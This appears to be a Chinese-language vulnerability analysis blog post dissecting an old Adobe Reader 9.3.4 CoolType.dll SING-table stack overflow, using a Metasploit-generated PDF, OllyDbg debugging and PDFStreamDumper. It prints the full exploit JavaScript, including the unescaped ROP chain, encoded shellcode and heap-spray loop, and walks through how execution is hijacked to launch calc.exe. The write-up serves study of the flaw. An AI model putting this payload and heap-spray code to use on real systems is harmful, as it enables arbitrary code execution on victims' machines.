题外话
这么老的一个洞,在看雪搜文章的时候发现火绒发了篇文章,竟然现在还有利用这个洞的病毒
https://bbs.pediy.com/thread-260419.htm
环境相关
系统:win xp sp3
软件下载地址:ftp://ftp.adobe.com/pub/adobe/reader/win/9.x/9.3.4/enu/
漏洞分析
软件安装好之后有个 CoolType.dll,在解析字体文件 SING 表 UniqueName项的时候直接使用了 strcat
先用 msf 生成一个恶意文档
用 adobe reader 打开可以弹出一个计算器
可以使用 PDFStreamDumper 来分析 PDF 文档,在菜单中找到 search for,搜一下 TTF Fonts
搜索结果在下面
TrueTypeFont 是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。
TTF 字体中 TableEntry 结构包含了所指表的资源标记、校验和、偏移量和每个表的大小:
typedef struct
{
Char tag[4]; //SING字符串
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
}
在 object 10 找到 SING
根据结构中的 offset 可以分析出来,真正的位置是在:
SING 的格式如下,即 uniqueName 是在 +0x10 的位置,uniqueName 就是待会拼接的那个东西
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT embeddinginfo;
USHORT mainGID;
USHORT unitsPerEm;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE[28] uniqueName;
BYTE[16] METAMD5;
BYTE nameLength;
BYTE[] baseGlyphName;
} SINGTable;
用 OD 动态调试看一下,打开 adobe reader,再打开 OD 附加进程,F9 运行起来,然后 ctrl+G 找到 0x803DD74,这里是 ‘SING’ 进栈的地方,在这里下一个断点,然后把之前 msf 生成的 pdf 样本拖进。他会给断住,单步走几步到 0x803DD7D,此时数据窗口中跟随看一下 ecx 指向的地址
然后选中 A8 14 87 05 数据窗口中跟随一下得到:
这一块就是之前我们在 PDFStreamDumper 中搜索到的 TTF Fonts 的结构,0x00000100 是版本
执行完那个 call 之后,在数据窗口中看一下 eax 中存的地址的内容正好是 SING 表的内容,然后比较了一下 eax 与 esi 判断 SING 表是不是空的
接下来的 add eax,0x10 使得 eax 指向了 uniqueName,再通过 push eax 传参
继续单步执行,就到了 strcat 那里了,strcat 会把 0x5871150 复制到 0x012E4D8
执行完这个 call 之后在 0x012E4D8 这里下个内存访问断点
然后运行起来,当程序访问到这一块的时候就会断下来,经过多次断下之后会遇到一个 0x808B308 的 call dword ptr ds:[eax]
他接下来会通过 call 来执行 0x4A80CB38 这一块的代码,依次执行了:
add ebp,0x794
leave
retn
其中 leave 指令相当于
mov esp,ebp
pop ebp
这样就把 esp 指向了 uniqueName 那块内存
执行完之后执行了
pop esp
retn
把 esp 写成了之前布置好的 0c0c0c0c
retn 的时候就跑到了 0x0c0c0c0c,这个位置通过堆喷射早就布局好了 shellcode
堆喷射:在堆空间申请大量的内存,填充类似 nop 之类的滑行指令与 shellcode,这样修改返回地址跳转到堆中的某个地址的时候滑行一段时间就能执行 shellcode(跳转到一堆滑行指令比起精准跳转到 shellcode 开头要容易)
在 PDFStreamDumper 中查看一下 JS 代码:
(正常来说应该是搜索 javascript?对这个软件不太熟悉,在 object 12 中就有,不过变量名很奇怪,估计是 msf 为了绕过杀毒软件的检测)
改一下变量名:
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc9da%u74d9%uf424%u2958%ubdc9%u9b55%uab16%u31b1%u6831%u8318%ufce8%u6803%u7941%u57e3%uff81%ua80c%u6051%u4d84%ua060%u06f2%u10d2%u4a70%udbde%u7fd4%ua955%u70f0%u04de%ube27%u35df%ua11b%u4463%u0148%u875a%u409d%ufa9b%u106c%u7074%u85c2%uccf1%u2edf%uc049%ud267%ue319%u4546%uba12%u6748%ub6f7%u7fc0%uf214%uf49b%u88ee%udd1d%u703f%u20b1%u83f0%u65cb%u7c36%u9fbe%u0145%u5bb9%udd34%u784c%u969e%ua4f7%u7a1f%u2e61%u3713%u68e5%uc637%u032a%u4343%uc4cd%u17c2%uc0ea%ucc8f%u5193%ua275%u82ac%u1bd6%uc809%u48fa%u9320%u8f90%ua9b6%u90d6%ub1c8%uf946%u3af9%u7e09%ue906%u706e%ub04c%u19c6%u2009%u445b%u9eaa%u719f%u2b29%u865f%u5e31%uc25a%ub2f5%u5b16%ub490%u5c85%ud6b1%ucf48%u3759%u77ef%u47fb' );
var nopnop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (nopnop.length + 20 + 8 < 65536) nopnop+=nopnop;
var_a = nopnop.substring(0, (0x0c0c-0x24)/2);
var_a += shellcode;
var_a += nopnop;
var_b = var_a.substring(0, 65536/2);
while(var_b.length < 0x80000) var_b += var_b;
var_c = var_b.substring(0, 0x80000 - (0x1020-0x08) / 2);//到这里每个堆块中写的滑行代码+shellcode就确定了
var var_1 = new Array();
for (i=0;i<0x1f0;i++) var_1[i]=var_c+"s";//这里就挨个放了前面定义好的代码了
之后 pop ecx
把 ‘UTF-32’ 的地址给了 ecx
然后把 eax 的值 0x12E6D0 保存到了里面
在返回到 pop eax,把 CreateFileA 函数的地址放在 eax
返回后执行 jmp [eax] 去执行 CreateFileA
以隐藏的方式创建了一个临时文件,创建了一个文件,名字是:iso88951
依次执行了 CreateFileMappingA 创建文件映射对象
MapViewOfFile 将文件映射对象映射到当前程序的地址空间
memcpy 把 shellcode 写到 MapViewOfFile 返回的可读可写可执行的地址
接下来就可以正常的执行 shellcode 了
经过一段循环之后在内存中可以看到 calc.exe 了
因为要通过 WinExec 来运行 calc.exe,直接 ctrl+g 来到 WinExec 代码那里下个断点,直接 F9 运行起来就会断住
再运行的话计算器就弹出来了
参考:
https://bbs.pediy.com/thread-257172.htm
https://bbs.pediy.com/thread-251801.htm
https://www.sunxiaokong.xyz/2019-08-30/lzx-01
https://my.oschina.net/u/3281747/blog/1789733